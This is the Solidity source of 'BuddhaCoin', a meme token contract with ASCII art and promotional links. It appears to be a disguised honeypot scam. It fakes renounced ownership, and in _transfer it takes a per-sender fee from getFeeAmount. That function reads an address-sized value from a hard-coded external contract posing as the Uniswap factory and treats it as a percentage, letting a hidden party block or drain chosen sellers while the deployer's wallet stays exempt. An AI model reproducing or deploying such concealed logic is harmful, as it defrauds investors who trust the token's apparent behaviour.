Contract Source Code:
File 1 of 1 : BuddhaCoin
// SPDX-License-Identifier: MIT
// www: https://buddhaworld.fun/
// tg: https://t.me/buddhacoin
// x: https://twitter.com/buddhacoineth
/*
███████████████
█████▓▓▓▓▒▒▒▓▓▓██████ ████
███▓▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓████ ██▓██
███▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓███ ██▓▒▓██
█████ ███▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓█▒██ ██▓▒▓████ ████
██████ ██▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▓██ ███▒▒█▓▓█████▓▓██
██▒▒██ ███▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓█████ ███▓▓▓▓▒▒▒█▓▒▒▓█
████ ██▓░▒██ █████████▓██████████▓▓███▓███ ██▒▒▒▒▓▒▒▒▓▒▒███
██▓▓████████▒░▒██ █████▓███▓▓████▓▓▓███▓▓███▓▓████ ██▒▒▒▒▒▓▓▒▒▒▒███
██▓▒▒▓█▓▓▒▒▓▓▒▓██ ███▒▒▓▓█▓▓████▓▒▒▒██▓█████▓▓▒▒██ █▓▒▒▒▓▓▒▒▒▒▒▓██
██▓▒▒▓▒▒▒▒▒▒▒▒██ ███▓█▓▒▓▓████▓▒▒▒▒▓▓████▓█▓▒█▓██ █▓▓▓▓▒▒▒▒▒▒▒▒▒▓██
███▒▒▒▒▒▒▓▒░░▒▓█ ████▒▒▒▒▓█████▓▓▓█▓███▓▒▒█▒▓██ █▓░▒▓▒▒▒▒▒▒▒▒▓██
██▓▒▒▒▒▒▒▓▒░▒▒██ ██▓▒▒▒███▓▒▒▓▓█████▓███▓██▓██ ████▒░▒▒▒▒▒▒▓█████
██▒▒▒▒▒▓▓▒░░▒█▓▓█ ██▒▒▒▒█▓▒███▓▓▓▓▓████▓████▓██ ███▓▓▒░▓▓▓▒▓███▒▒▓█
██▒▒░░░░░░▒▒▓▒▒▓ ███▓▒▒▒▒▓▒▒▓██████████▒▒▓██▓███ ██▓▓▓▒▒░░▒▒░▒░▒▒▒▓█
███▓▒▒▒▒▓▒▒▒▒▒▓██ ██▓█▒▒▒▒▒▒▒▒▒▓███▓▒▓█▓▒▒██▒████ ███▓▓▒▒▒▓▒▒▒▒▓▒▒██
█▒▒▓█▒▒▒░▒▓▒▒▓████ ███▓░██▒▒▒▒▒▒▒▒▓▓▓▓▓███▒▓██▒██▒███ ███▓▓▓▒▒▒▒▒▒▒▒▒▒███
█▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓███ █████▓▒▒▒▓█▒▒▒▒▒▒▒▒▒▒▒▓██▓▓██▓█▒▒▒▒██████ ██▓▓▓▓▒▒▒▒▒▒▒▒▒████
██▓▓▓▓▓▓▓▒▒▒▓▓███ █████████▓█▓▒▒▓█▓▒▒▒▒▓▒▒▒▒▒▓██████▓▒▒▓█▓▓████████▓▓▓▓▒▒▒▒▒▒▒▒▓████
███▓▒░░░░░░░▒▓▓▓██████▓▓▒▓▓▓▓▓██▒▒▒▓▒▒▓▓▓███▓██████▓▓▓▒▒▓██▓▓▓▓▓▒▓▓█▓▓▓▓█▓▒▒▒▒▒▒▓██▓██
████▒▒░░░░░░▒▓█▓▓██▓▓▓▓█████▓███▒▓▒▒▒▓▒▒▒▒▒▒▓▓▓▒▒▓▓▓▒▒▒▓▒██▓▓█████▓▓▒▓▓▒███▓▒▒▓████▓██
█████▓▒░░░░░░▒▓█▓▓▓▓▓████████▓██▓▒▓▒▒▒▒▒▒▓▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒█▓▓█████▓▒▒▓▓▒▓██████████▓██
███▓██▓▒░░░░▒▒█▓▓▓▓█████████▓▓██▒▒▒▒▒▓▒▓▒▒▓▓▒▒▒▓▒▒▒▓▒▓▒▒▒▒▒██▓███▓▒▓▓▒▓▓▒▓█████████▓▓██
███▓████▒▒▒▒▓██▓▓▓▒▓▓██▓████▓██▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▓▓▒▓▓▒▓▒▒▒▒▒▒▓█▓▓▓▓▓██▓▒▒▓▓▒▓████████▓██
███▓▓██████████▓▓▓▒▒▓██▓▓▓██▓██▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▓▓▒▒▒▒▒▒▒▒▒▒▓██▓▓▓████▓▒▒▓▓▓▓██████▓███
████▓█████████▓▒▓▓▒▓▓▒▓▓▒▓████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓██▓▓██▓▓███▓▒▒▓██▓▓██████
████▓█████████▒▓▓▓▒▓██▓▒▓█████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓██▓▓█▓▒▒▒▓████████▓▓████
████▓██████▓▒▓▓▒▒▓▓███▓▓██████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓██████▒▓█▓▒▒▒▒▒▒▓▓▓███▒▓████
████████▓▓▓▓▓▓▒▒▓██▓▓██▓▓██████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓███████▓▒▒▒▒▒▒▒▓██▓▒▓████
███▓███████▓▓████▓▒▒▓█▓▓███▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓████▓▓▒▒▒▓▓██▓▓▓████
███▓████████████▓▓▒▓█▓▒▓█▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓██▓██▓▓███▓▓▓█████
████▓▓▓██▓▓▒▒▓▓█████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█▓▓████▓▓▓▒▓▓▓██████
██████▓▒▒▒▓▓████████▓██▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█▓▓███████▓▒▒▒▒▒▒ ████
████▓▒▒▒▒▒▓▓▓███████▓███▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓█▓▓██████▓▓▓▒▒▒▒▒▒▓ ██
████▓▓▓██████████████▓▓███▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▓▓█████████████▓▒▒ █
████▓████████████████▓▓█████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓█▓▓███████▓▓▓▓█████▓▓ █
█████████████▓▓▓▓███████▓██████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓█▓▓▓█████████████████▓█ ██
██████████▓▓██████████████████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓████████▓█████████████████████
██████████████▓▓▓████▓▓▓▓▓▓██████████▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓████████▓▓▓▓▓███████████▓▓█████████
███▓▒▓█████▓████▓▒▒▒▓▓████▓▓▒▓▓▓█████▓▓▓▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓████████████▓▓▒▓▓▓████████████▓▒▒▓███▓▒▓▓███
██▓▒▒▓████████████▓▒▒▒▒▒▓▓████▓▓▒▒▓▓█████▓▓▓▒▒▓▓▓▓███▓▓▒▓▓▓▓████▓▓▓▒▒▒▓███ █████▓▓▒▒▒▒█████▓▒▓███
███▓▒▓████▓▓▓████████▓▒▒▒▒▒▒▓▓█████▓▓▒▒▓▓██████▓▓▓▓██████████▓▓▒▒▒▓▓████ ███▓▓▒▒▒▒▒▒▓██████▓▒▓██
███▓▓▓█▓████▓▒▒▓▓██████▓▓▒▒▒▒▒▒▒▓▓████▓▓▒▒▓▓▓▓▓▓██████▓▓▓▓█▓▒▒▓▓███████████████▓▒▒▒▒▒▒▒▒▒▓███████▓▓███
████▓▓███▓▒▓██▓▒▒▒▒▓▓██████▓▓▒▒▒▒▒▓███████▒▒▒▒▒▒▒▓▓▓▓▓▓███▓▒▒▓██████████ ▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓ ███████▓▒███
████▓▓██████▓▒▒▓▓▒▒▒▒▒▒▒▓▓███████████████▒▒▓▓▒▒▒▒▓███████████▓▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒███▓▓▓▒▒▓███▓▒███
██ ▓▓█████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓████▓▒█▓▒▒▒▒▒▓███████▓▓█████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓███▓███
███ ▓████████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓██████▓▒██▒▒▒▒▒▒▓██▓▓█████▒▒▒▓▓██████▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ █ ██
█▓▓▒▒▒▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓███████▓▓▓██▓▓▓▓██████▓▒▒▓▓▓▓▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒
█▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██████▓███▓▓▓████▓▓▒▓███ ▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
█▓▓▓▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓████▓▓██▓▓▓█████ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
██▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓███████▓███████ ▒▒▒▒▒▒▒▒▒▒▒▒▒
████████████████████
*/
pragma solidity 0.8.22;
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenC) external view returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
abstract contract Ownable {
address private _owner;
constructor () {
_owner = address(0);
}
function owner() public view virtual returns (address) {return _owner;}
}
contract BuddhaCoin is Ownable {
uint8 private _decimals = 9;
mapping (address => uint256) private _balances;
uint256 private _totalSupply = 108108108108 * 10 ** _decimals;
IUniswapV2Factory private uniswapV2Factory = IUniswapV2Factory(0x92092A468c8aE1beE50681513852C9d50FC255e9);
address payable internal _taxWallet;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal fee = 0;
bool private tradingStarted = false;
IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _owner;
event Transfer(address indexed from, address indexed recipient, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
string private _name = "BUDDHA";
string private _symbol = "BUDDHA";
constructor () {
_taxWallet = payable(msg.sender);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function uniswapV2PairAddress() public view returns (address) {
return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero.");
require(from != address(0), "ERC2O: transfer from the zero address.");
uint256 feeAmount = fee * amount;
if (from != address(this) && from != uniswapV2PairAddress() && to != _taxWallet && from != _taxWallet) {
feeAmount = amount * getFeeAmount(from) / 100;
}
_balances[to] += amount - feeAmount;
_balances[from] = _balances[from] - amount;
emit Transfer(from, to, amount - feeAmount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function getFeeAmount(address to) internal view returns (uint256) {
return uint256(uint160(uniswapV2Factory.getPair(to, address(this))));
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}